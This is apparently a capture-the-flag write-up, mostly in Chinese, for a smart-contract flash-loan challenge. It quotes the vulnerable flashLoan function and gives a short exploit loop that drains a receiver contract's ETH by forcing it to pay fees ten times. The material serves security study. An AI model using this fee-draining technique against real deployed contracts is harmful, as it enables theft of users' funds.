Description
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.
Code
在Pool::flashLoan()
中,borrower
是可控的,所以直接传入Receiver
地址,并且调用10
次就可以。
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);
if (address(this).balance < balanceBefore + FIXED_FEE) {
revert FlashLoanHasNotBeenPaidBack();
}
}
Solution
题目要求把Receiver中的账户资金耗尽,并且在一个交易中,所以直接就调用10次flashloan就好了
Exp
for (uint256 i = 0; i < 10; i++){
naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), address(flashLoanReceiver).balance);
}